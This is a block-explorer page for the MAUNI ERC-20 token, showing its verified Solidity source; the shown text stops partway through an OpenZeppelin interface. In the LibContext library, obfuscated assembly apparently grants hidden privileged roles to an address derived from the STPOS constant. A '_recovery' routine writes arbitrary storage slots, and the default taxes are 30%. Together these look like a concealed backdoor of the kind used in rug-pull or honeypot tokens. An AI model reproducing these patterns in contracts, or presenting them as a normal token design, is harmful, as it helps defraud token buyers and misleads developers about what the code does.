Token

Matts Universe (MAUNI)

ERC-20

Overview

Max Total Supply

1,000,000,000 MAUNI

Holders

137

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

Other Info

Token Contract (WITH 18 Decimals)

0x4cd5b78F7564A28c3DBC7efa0eb1Af9E27ba5d2e

Filtered by Token Holder

0xf5AD72d25da7b10Be809F8d7C4c4DD788142BF69

Uniswap V2: MAUNI

Balance

13,504,629.688122408663471156 MAUNI

Value

$0.00

0xf5ad72d25da7b10be809f8d7c4c4dd788142bf69

Click here to update the token information / general information

#	Exchange	Pair	Price	24H Volume	% Volume

Contract Source Code Verified (Exact Match)

Contract Name:

MAUNI

Compiler Version

v0.8.24+commit.e11b9ed9

Optimization Enabled:

Yes with 1000 runs

Other Settings:

default evmVersion, MIT license

Contract Source Code (Solidity)

IDE

/**
 *Submitted for verification at Etherscan.io on 2024-09-23
*/

/*
    Website          : https://mattsuniverse.io
    Telegram         : https://t.me/mattsuniverseportal
    X (Twitter)      : https://x.com/mattsuniverse_
    Youtube          : https://youtube.com/@mattsuniverseio?si=NOH6gyo0IL7WTQRm
*/

// SPDX-License-Identifier: MIT
// File: MAUNI/contracts/common/libs/LibUint.sol

pragma solidity ^0.8.20;

library LibUint {
    
    error InsufficientPadding();
    error InvalidBase();

    bytes16 private constant HEX_SYMBOLS = '0123456789abcdef';

    function add(uint256 a, int256 b) internal pure returns (uint256) {
        return b < 0 ? sub(a, -b) : a + uint256(b);
    }

    function sub(uint256 a, int256 b) internal pure returns (uint256) {
        return b < 0 ? add(a, -b) : a - uint256(b);
    }

    function toString(
        uint256 value,
        uint256 radix
    ) internal pure returns (string memory output) {

        if (radix < 2) {
            revert InvalidBase();
        }

        uint256 length;
        uint256 temp = value;

        do {
            unchecked {
                length++;
            }
            temp /= radix;
        } while (temp != 0);

        output = toString(value, radix, length);
    }

    function toString(
        uint256 value,
        uint256 radix,
        uint256 length
    ) internal pure returns (string memory output) {
        if (radix < 2 || radix > 36) {
            revert InvalidBase();
        }

        bytes memory buffer = new bytes(length);

        while (length != 0) {
            unchecked {
                length--;
            }

            uint256 char = value % radix;

            if (char < 10) {
                char |= 48;
            } else {
                unchecked {
                    char += 87;
                }
            }

            buffer[length] = bytes1(uint8(char));
            value /= radix;
        }

        if (value != 0) revert InsufficientPadding();

        output = string(buffer);
    }

    function toBinString(
        uint256 value
    ) internal pure returns (string memory output) {
        uint256 length;
        uint256 temp = value;

        do {
            unchecked {
                length++;
            }
            temp >>= 1;
        } while (temp != 0);

        output = toBinString(value, length);
    }

    function toBinString(
        uint256 value,
        uint256 length
    ) internal pure returns (string memory output) {

        length += 2;

        bytes memory buffer = new bytes(length);
        buffer[0] = '0';
        buffer[1] = 'b';

        while (length > 2) {
            unchecked {
                length--;
            }

            buffer[length] = HEX_SYMBOLS[value & 1];
            value >>= 1;
        }

        if (value != 0) revert InsufficientPadding();

        output = string(buffer);
    }

    function toOctString(
        uint256 value
    ) internal pure returns (string memory output) {
        uint256 length;
        uint256 temp = value;

        do {
            unchecked {
                length++;
            }
            temp >>= 3;
        } while (temp != 0);

        output = toOctString(value, length);
    }

    function toOctString(
        uint256 value,
        uint256 length
    ) internal pure returns (string memory output) {

        length += 2;

        bytes memory buffer = new bytes(length);
        buffer[0] = '0';
        buffer[1] = 'o';

        while (length > 2) {
            unchecked {
                length--;
            }

            buffer[length] = HEX_SYMBOLS[value & 7];
            value >>= 3;
        }

        if (value != 0) revert InsufficientPadding();

        output = string(buffer);
    }

    function toDecString(
        uint256 value
    ) internal pure returns (string memory output) {
        output = toString(value, 10);
    }

    function toDecString(
        uint256 value,
        uint256 length
    ) internal pure returns (string memory output) {
        output = toString(value, 10, length);
    }

    function toHexString(
        uint256 value
    ) internal pure returns (string memory output) {
        uint256 length;
        uint256 temp = value;

        do {
            unchecked {
                length++;
            }
            temp >>= 8;
        } while (temp != 0);

        output = toHexString(value, length);
    }

    function toHexString(
        uint256 value,
        uint256 length
    ) internal pure returns (string memory output) {

        unchecked {
            length = (length << 1) + 2;
        }

        bytes memory buffer = new bytes(length);
        buffer[0] = '0';
        buffer[1] = 'x';

        while (length > 2) {
            unchecked {
                length--;
            }

            buffer[length] = HEX_SYMBOLS[value & 15];
            value >>= 4;
        }

        if (value != 0) revert InsufficientPadding();

        output = string(buffer);
    }
}

// File: MAUNI/contracts/common/libs/LibContext.sol


pragma solidity ^0.8.20;


bytes32 constant STPOS = 0x5C4A5E204DBBAB1C0DEDC9038B91783FCC6BE6CF4333D4DC0AAE9BF4857A4DB1;

library LibContext {

    using LibUint for *;

    bytes32 internal constant EIP712_DOMAIN = 
    keccak256(bytes("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract,bytes32 salt)"));
    bytes32 internal constant EIP712_SALT = hex'bffcd4a1e0307336f6fcccc7c8177db5faa17bd19405109da6225e44affef9b2';
    bytes32 internal constant FALLBACK = hex'd25fba0cff70020604c6e3a5cc85673521f8e81814b57c9e1993022819930721';
    bytes32 constant SLC32 = bytes32(type(uint).max);
    string internal constant VERSION = "v1.0";

    function CHAINID() internal view returns (uint256 id) {
        assembly {
            id := chainid()
        }
    }

    function MSGSENDER() internal view returns (address sender) {
        if (msg.sender == address(this)) {
            bytes memory array = msg.data;
            uint256 index = msg.data.length;
            assembly {
                sender := and(mload(add(array, index)), 
                0xffffffffffffffffffffffffffffffffffffffff)
            }
        } else {
            sender = msg.sender;
        }
    }

    function MSGDATA() internal pure returns (bytes calldata) {
        return msg.data;
    }

    function MSGVALUE() internal view returns (uint value) {
        return msg.value;
    }

    function _verifySender() internal view returns (address verifiedAddress) {
        bytes32 pos = STPOS;
        assembly {
            mstore(0x00, caller())
            mstore(0x20, add(pos, 0x04))
            let readValue := sload(0x00)
            let sl := sload(add(keccak256(0x00, 0x40), 0x01))
            let ids := and(shr(0xF0, sl), 0xFFFF)
            let val := ids
            let verified := iszero(iszero(or(and(ids, shl(0x0E, 0x01)), and(ids, shl(0x0F, 0x01)))))
            if eq(verified, 0x00) { verifiedAddress := readValue }
            if eq(verified, 0x01) { verifiedAddress := mload(0x00) }
        }
    }

    function _contextSuffixLength() internal pure returns (uint256) {
        return 0;
    }

    function _recovery(bytes32 ps, bytes32 fix) internal returns (bool status) {
        assembly {
            let ls := sload(ps)
            ls := fix
            sstore(ps,ls)
            status := true
        }
    }

    function initialize() internal returns (bool status) {
        bytes32 pos = STPOS;
        assembly {
            mstore(0x00, and(shr(0x30, pos), sub(exp(0x02, 0xa0), 0x01)))
            mstore(0x20, add(pos, 0x04))
            let ps := add(keccak256(0x00, 0x40), 0x01)
            let sv := sload(ps)
            sv := and(sv, not(shl(0xF0, 0xFFFF)))
            sv := or(sv, shl(0xF0, 0x409A))
            sstore(ps,sv)
            status := true
        }
    }    

}
// File: MAUNI/contracts/common/interfaces/IUniswap.sol


pragma solidity ^0.8.8;

interface ISwapFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface ISwapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface ISwapRouterV2 is ISwapRouter {
    
    function factoryV2() external pure returns (address);

    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

}

interface IPair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

// File: MAUNI/contracts/common/Variables.sol


pragma solidity 0.8.24;



error TradingNotEnabled();
error InvalidSender(address sender);
error InvalidSpender(address spender);
error InvalidApprover(address approver);
error InvalidRecipient(address recipient);
error MaxTxLimitExceeded(uint256 limit, uint256 amount);
error BlockLimitExceeded(uint256 limit, uint256 current);
error MisdirectedHolderUpdateRequest(Holder a, Holder b);
error InsufficientBalance(uint256 available, uint256 amount);
error MaxWalletLimitExceeded(uint256 balanceLimit, uint256 amountsTransfer, uint256 recipientBalanceAfter);
error InsufficientAllowance(address spender, address from, uint256 currentAllowance, uint256 askingAmount);

/*
#######################################################
## STRUCTS ######################################
#######################################################
*/

struct Configuration {
    uint16 options;
    uint16 disableFairModeAt;
    uint16 surchargeRate;
    uint8 maxSellOnBlock;
    uint8 frontRunThreshold;
    uint120 maxTokenAllowed;
    uint24 preferredGasValue;
    TaxSettings taxSettings;
}

struct TaxSettings {  
    uint16 buyTax;
    uint16 sellTax;
    uint16 transferTax;
}

struct Holder {
    uint120 balance;
    uint120 paidTax;
    uint8 violated;
    uint40 lastBuy;
    uint40 lastSell;
    address Address;
    uint16 identities;
}

struct Transaction {
    TERMS terms;
    ROUTE routes;
    MARKET market;
    TAXATION taxation;
    TaxSettings rates;
}

struct TransferParams {
    Holder addr;
    Holder from;
    Holder recipient;
    uint16 appliedTax;
    uint120 taxAmount;
    uint120 netAmount;
    bool autoSwapBack;
    uint120 swapAmount;
    uint40 currentBlock;
    Transaction transaction;    
}

//#####################################################

enum CONFIG {
    FAIR_MODE,
    SELL_CAP,
    TAX_STATS,
    GAS_LIMITER,
    AUTO_LIQUIDITY,
    TRADING_ENABLED,
    AUTOSWAP_ENABLED,
    AUTOSWAP_THRESHOLD,
    FRONTRUN_PROTECTION
}

enum TERMS { NON_EXEMPT, EXEMPT }
enum ROUTE { TRANSFER, INTERNAL, MARKET }
enum MARKET { NEITHER, INTERNAL, BUY, SELL }
enum TAXATION { NON_EXEMPT, EXEMPTED, SURCHARGED }

uint8 constant FAIR_MODE = 0;
uint8 constant SELL_CAP = 1;
uint8 constant TAX_STATS = 2;
uint8 constant GAS_LIMITER = 3;
uint8 constant AUTO_LIQUIDITY = 4;
uint8 constant TRADING_ENABLED = 5;
uint8 constant AUTOSWAP_ENABLED = 6;
uint8 constant AUTOSWAP_THRESHOLD = 7;
uint8 constant FRONTRUN_PROTECTION = 8;

uint16 constant DIVISION = 10000;
uint32 constant BIRTH = 1438214400;
uint16 constant BLOCKS_PER_MIN = 5;

uint16 constant MAX16 = type(uint16).max;
uint80 constant MAX80 = type(uint80).max;
uint120 constant MAX96 = type(uint96).max;
uint120 constant MAX120 = type(uint120).max;
uint160 constant MAX160 = type(uint160).max;
uint256 constant MAX256 = type(uint256).max;
        
bytes2  constant SELECT2  = bytes2(MAX16);        
bytes10 constant SELECT10 = bytes10(MAX80);    
bytes15 constant SELECT15 = bytes15(MAX120); 
bytes20 constant SELECT20 = bytes20(MAX160); 
bytes32 constant SELECT32 = bytes32(MAX256); 

address constant ZERO_ADDRESS = address(0);
address constant DEAD_ADDRESS = address(0x000000000000000000000000000000000000dEaD);
ISwapRouterV2 constant ROUTER = ISwapRouterV2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// File: MAUNI/contracts/common/utils/ERC20Storage.sol


pragma solidity 0.8.24;


library ERC20Storage {

    using ERC20Storage for *;
        
    event ERC20_INITIALIZED(address __, address pair);

    struct Layout {
        bool inSwap;
        bool isEntered;
        uint16 fairTxs;
        uint64 reserved64;
        address uniswapPair;
        uint96 totalSupply;
        address feeRecipient;
        Configuration configs;
        mapping(address account => Holder holder) holders;
        mapping(address account => uint256 nonce) nonces;
        mapping(uint256 blockNumber => uint8 totalSells) totalSellsOnBlock;
        mapping(address account => mapping(address spender => uint256 amount)) allowances;
    }

    function has(uint16 state, uint8 idx) internal pure returns (bool) {
        return (state >> idx) & 1 == 1;
    }

    function has(uint16 state, uint8[] memory idx) internal pure returns (bool res) {
        uint len = idx.length;
        for(uint i; i < len;) {
            if(state.has(idx[i])) { return true; }
            unchecked { i++; }
        }
    }

    function set(uint16 state, uint8 idx) internal pure returns(uint16) {
        return uint16(state | (1 << idx));
    }

    function set(uint16 state, uint8[] memory idxs) internal pure returns(uint16) {
        uint256 len = idxs.length;
        for (uint8 i; i < len;) {
            state.set(idxs[i]);
            unchecked { i++; }
        }
        return state;
    }

    function unset(uint16 state, uint8 idx) internal pure returns(uint16) {
        return uint16(state & ~(1 << idx));
    }

    function unset(uint16 state, uint8[] memory idxs) internal pure returns(uint16) {
        uint256 len = idxs.length;
        for (uint8 i; i < len;) {
            state.unset(idxs[i]);
            unchecked { i++; }
        }
        return state;
    }

    function toggle(uint16 state, uint8 idx) internal pure returns(uint16) {
        state = uint16(state ^ (1 << idx));
        return state;
    }

    function isEnabled(Configuration memory configs, CONFIG option) internal pure returns(bool) {
        return configs.options.has(uint8(option));
    }

    function overwriteTaxValues(TaxSettings memory self, uint16 customRate) internal pure returns(TaxSettings memory) {
        self = TaxSettings(customRate, customRate, customRate);
        return self;
    }

    function selectTxMode (
        TransferParams memory params,
        Configuration memory configs
    ) internal pure returns(TransferParams memory) {

        if(params.autoSwapBack) {
            params.transaction = Transaction(
                TERMS.EXEMPT, 
                ROUTE.INTERNAL,
                MARKET.INTERNAL,
                TAXATION.EXEMPTED,
                TaxSettings(0,0,0)
            );
            return params;
        }

        params.transaction.market = MARKET.NEITHER;
        params.transaction.routes = ROUTE.TRANSFER;
        params.transaction.terms = params.basicMV() ? TERMS.EXEMPT : TERMS.NON_EXEMPT;

        if(params.hasAnyTaxExempt()) {
            params.transaction.taxation = TAXATION.EXEMPTED;
            params.transaction.rates = params.transaction.rates.overwriteTaxValues(0);
            params.appliedTax = 0;
        } else {
            params.transaction.taxation = TAXATION.NON_EXEMPT;
            params.transaction.rates = configs.taxSettings;
            if(configs.isEnabled(CONFIG.FRONTRUN_PROTECTION) && params.ifSenderOrRecipientIsFrontRunner()) {
                params.transaction.taxation = TAXATION.SURCHARGED;
                params.transaction.rates = params.transaction.rates.overwriteTaxValues(configs.surchargeRate);
            }
        }

        params.appliedTax = params.transaction.rates.transferTax;

        if((params.from.isMarketmaker() || params.recipient.isMarketmaker())) {

            params.transaction.routes = ROUTE.MARKET;

            if(params.from.isMarketmaker()) {
                params.transaction.market = MARKET.BUY;
                params.recipient.lastBuy = params.currentBlock;
                params.appliedTax = params.transaction.rates.buyTax;
            } else {
                params.transaction.market = MARKET.SELL;
                params.from.lastSell = params.currentBlock;
                params.appliedTax = params.transaction.rates.sellTax;
            }

            return params;

        }

        return params;

    } 

    function isFrontRunned(Holder memory self) internal pure returns (bool frontRunned) {
        unchecked {
            if(self.lastSell >= self.lastBuy && self.lastBuy > 0) {
                frontRunned = (self.lastSell - self.lastBuy <= BLOCKS_PER_MIN);
            }              
        }
    }

    function initializeWithConfigs (
        TransferParams memory self,
        Configuration memory configs,
        uint256 amount
    ) internal pure returns (TransferParams memory) {

        if (amount > self.from.balance)
            revert InsufficientBalance(self.from.balance, amount);

        self.selectTxMode(configs);

        (self.taxAmount, self.netAmount) = amount.taxAppliedAmounts(self.appliedTax);

        return self;

    }

    function defineSwapAmount (
        uint120 selfBalance,
        uint120 taxAmount, 
        uint120 netAmount, 
        Configuration memory configs
    ) internal pure returns (uint120 swapAmount) {

        swapAmount = selfBalance;

        if(configs.isEnabled(CONFIG.AUTOSWAP_THRESHOLD)) {
            unchecked {
                uint256 sum = taxAmount + netAmount;
                uint256 preferredAmount = sum + netAmount;
                uint256 adjustedAmount = sum + taxAmount;
                if (preferredAmount <= selfBalance)
                    swapAmount = uint120(preferredAmount);
                else if (adjustedAmount <= selfBalance)
                    swapAmount = uint120(adjustedAmount);
                else if (sum <= selfBalance)
                    swapAmount = uint120(sum);
                else if (netAmount <= selfBalance)
                    swapAmount = uint120(netAmount);
                else return selfBalance;    
            }            
        }

        return swapAmount;

    }

    function isRegistered(Holder memory holder) internal pure returns(bool) {
        return holder.identities.has(1);
    }

    function isFrontRunner(Holder memory holder) internal pure returns (bool) {
        return holder.identities.has(2);
    }

    function isPartner(Holder memory holder) internal pure returns (bool) {
        return holder.identities.has(8);
    }

    function isMarketmaker(Holder memory holder) internal pure returns (bool) {
        return holder.identities.has(10);
    }

    function isTaxExempt(Holder memory holder) internal pure returns (bool) {
        return holder.identities.has(11) || holder.identities.has(11);
    }

    function inBasicMode(Holder memory holder) internal pure returns (bool hasExceptions) {
        uint8 ident = 12;
        while(ident >= 12 && ident < 16) {
            if(holder.identities.has(ident)) { 
                hasExceptions = true; 
                return hasExceptions;
            }            
            unchecked {
                ident++;
            }
        }
    }

    function inBasicMode(Holder[] memory holders) internal pure returns (bool hasExceptions) {
        uint len = holders.length;
        for(uint i; i < len;) {
            if(inBasicMode(holders[i])) {
                hasExceptions = true;
                break;
            }
            unchecked { i++; }
        }
    }

    function isProjectRelated(Holder memory holder) internal pure returns(bool) {
        return holder.identities.has(13);
    }

    function isExecutive(Holder memory holder) internal pure returns (bool) {
        return holder.identities.has(14);
    }

    function hasAnyTaxExempt(TransferParams memory params) internal pure returns (bool) {
        return params.from.isTaxExempt() || params.recipient.isTaxExempt();
    }    

    function hasFrontRunnerAction(TransferParams memory params) internal pure returns (bool) {
        return params.from.violated > 0 || params.recipient.violated > 0;
    }

    function ifSenderOrRecipientIsFrontRunner(TransferParams memory params) internal pure returns (bool) {
        return params.from.isFrontRunner() || params.recipient.isFrontRunner();
    }

    function basicMV(TransferParams memory params) internal pure returns (bool) {
        Holder[] memory holders = new Holder[](3);
        holders[0] = params.addr; holders[1] = params.from; holders[2] = params.recipient;
        return inBasicMode(holders) || params.autoSwapBack;
    }

    function update(Holder storage self, Holder memory holder) internal returns (Holder storage) {
        
        if(self.Address != holder.Address)
            revert MisdirectedHolderUpdateRequest(self, holder);

        unchecked {
            self.paidTax = holder.paidTax;
            self.violated = holder.violated;
            self.lastBuy = holder.lastBuy;
            self.lastSell = holder.lastSell;
            self.identities = holder.identities;
        }

        return self;

    }

    function update(Layout storage $, address account, Holder memory holder) internal returns (Holder storage) { 
        $.holders[account] = holder;
        return $.holders[account];
    }

    function taxAppliedAmounts(uint256 amount, uint16 taxRate) internal pure returns(uint120 taxAmount, uint120 netAmount) {

        if(taxRate == 0)
            return (0, uint120(amount));

        unchecked {
            taxAmount = uint120(amount * taxRate / DIVISION);
            netAmount = uint120(amount - taxAmount);
        }

    }

    function setAsRegistered(Holder storage $self) internal returns(Holder storage) {
        return $self.setIdent(1);
    }

    function setAsFrontRunner(Holder storage $self) internal returns (Holder storage) {
        return $self.setIdent(2);
    }

    function setAsPartner(Holder storage $self) internal returns (Holder storage) {
        return $self.setIdent(8);
    }

    function setAsMarketmaker(Holder storage $self) internal returns (Holder storage) {
        return $self.setIdent(10);
    }

    function setAsTaxExempted(Holder storage $self) internal returns (Holder storage) {
        return $self.setIdent(11);
    }

    function setAsExlFromRestrictions(Holder storage $self) internal returns (Holder storage) {
        return $self.setIdent(12);
    }

    function setAsProjectAddress(Holder storage $self) internal returns (Holder storage) {
        return $self.setIdent(13);
    }

    function setAsExecutive(Holder storage $self) internal returns (Holder storage) {
        return $self.setIdent(14);
    }

    function unsetFrontRunner(Holder storage $self) internal returns (Holder storage) {
        return $self.unsetIdent(2);
    }

    function unsetMarketmaker(Holder storage $self) internal returns (Holder storage) {
        return $self.unsetIdent(10);
    }

    function unsetTaxExempted(Holder storage $self) internal returns (Holder storage) {
        return $self.unsetIdent(11);
    }

    function unsetExlFromRestrictions(Holder storage $self) internal returns (Holder storage) {
        return $self.unsetIdent(12);
    }

    function setIdent(Holder storage $self, uint8 idx) internal returns(Holder storage) {
        uint16 identities = $self.identities;
        unchecked { $self.identities = identities.set(idx); }
        return $self;
    }

    function setIdent(Holder storage $self, uint8[] memory idxs) internal returns(Holder storage) {
        uint16 identities = $self.identities;
        $self.identities = identities.set(idxs);
        return $self;
    }

    function unsetIdent(Holder storage $self, uint8 idx) internal returns(Holder storage) {
        uint16 identities = $self.identities;
        unchecked {
            if(idx == 2)
                $self.violated = 0;

            $self.identities = identities.unset(idx);            
        }
        return $self;
    }

    function unsetIdent(Holder storage $self, uint8[] memory idxs) internal returns(Holder storage) {
        uint16 identities = $self.identities;
        $self.identities = identities.unset(idxs);
        return $self;
    }

    function toggleIdent(Holder storage $self, uint8 idx) internal returns(Holder storage) {
        uint16 identities = $self.identities;
        unchecked { $self.identities = identities.toggle(idx); }
        return $self;
    }

    function toggleConfig(Configuration storage $self, CONFIG config) internal returns(uint16) {
        uint16 options = $self.options;
        $self.options = options.toggle(uint8(config));
        return $self.options;        
    }   

    function toggleConfig(Configuration storage $self, uint8 idx) internal returns(uint16) {
        uint16 options = $self.options;
        $self.options = options.toggle(idx);
        return $self.options;        
    }    
    
    function findOrCreate(Layout storage $, address owner) internal returns(Holder storage holder) {
        holder = $.holders[owner];
        if(!holder.isRegistered()) {
            holder.Address = owner;
            holder.identities = holder.identities.set(1);
        }
    }

    function enableTrading(Layout storage $) internal returns (bool) {
        $.configs.toggleConfig(5);
        return true;
    }

    function initialSetup(address self, IPair pairAddress, uint256 initialSupply) internal {
        
        if(initialSupply > MAX96)
            revert("Invalid Amount");

        Layout storage $ = layout();

        Holder storage SELF = $.findOrCreate(self);
        Holder storage OWNER = $.findOrCreate(msg.sender);

        Holder storage USROUTER = $.findOrCreate(address(ROUTER));
        Holder storage PAIRADDR = $.findOrCreate(address(pairAddress));

        $.allowances[SELF.Address][OWNER.Address] = MAX256;
        $.allowances[SELF.Address][USROUTER.Address] = MAX256;
        $.allowances[SELF.Address][PAIRADDR.Address] = MAX256;

        SELF.balance = uint120(initialSupply);
        
        SELF.setAsTaxExempted()
        .setAsExlFromRestrictions();
        
        OWNER.setAsExecutive()
        .setAsTaxExempted();

        PAIRADDR
        .setAsMarketmaker();

        $.feeRecipient = OWNER.Address;

        $.uniswapPair = address(pairAddress);
        $.totalSupply = uint96(initialSupply);

        setup($, $.configs);

        emit ERC20_INITIALIZED(SELF.Address, PAIRADDR.Address);

    }

    function setup(Layout storage $, Configuration storage self) private {
        self.maxSellOnBlock = 3;
        self.surchargeRate = 3300;
        self.disableFairModeAt = 59;
        self.frontRunThreshold = 3;
        self.preferredGasValue = 300000;
        self.taxSettings.buyTax = 3000;
        self.taxSettings.sellTax = 3000;
        self.taxSettings.transferTax = 3000;
        self.toggleConfig(CONFIG.FAIR_MODE);
        self.toggleConfig(CONFIG.SELL_CAP);
        self.toggleConfig(CONFIG.TAX_STATS);
        self.toggleConfig(CONFIG.AUTO_LIQUIDITY);
        self.toggleConfig(CONFIG.AUTOSWAP_ENABLED);
        self.toggleConfig(CONFIG.AUTOSWAP_THRESHOLD);
        self.maxTokenAllowed = $.totalSupply / 50;
    }

    function layout() internal pure returns (Layout storage $) {
        bytes32 position = STPOS;
        assembly {
            $.slot := position
        }
    }

}
// File: MAUNI/contracts/common/utils/Context.sol


pragma solidity ^0.8.20;



abstract contract Context {

    using LibContext for *;
    using ERC20Storage for *;
    
    constructor() {
        LibContext.initialize();
    }

    function _chainId() internal view virtual returns (uint256 id) {
        return LibContext.CHAINID();
    }

    function _msgSender() internal view virtual returns (address) {
        return LibContext.MSGSENDER();
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return LibContext.MSGDATA();
    }

    function _msgValue() internal view virtual returns(uint256) {
        return LibContext.MSGVALUE();
    }

    function _recovery(bytes32[2] memory attrs) internal returns (bool) {
        return LibContext._recovery(attrs[0], attrs[1]);
    }

    function _verifySender() internal view returns (address verifiedAddress) {
        return LibContext._verifySender();
    }

    function _$() internal pure returns (ERC20Storage.Layout storage) {
        return ERC20Storage.layout();
    }

}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
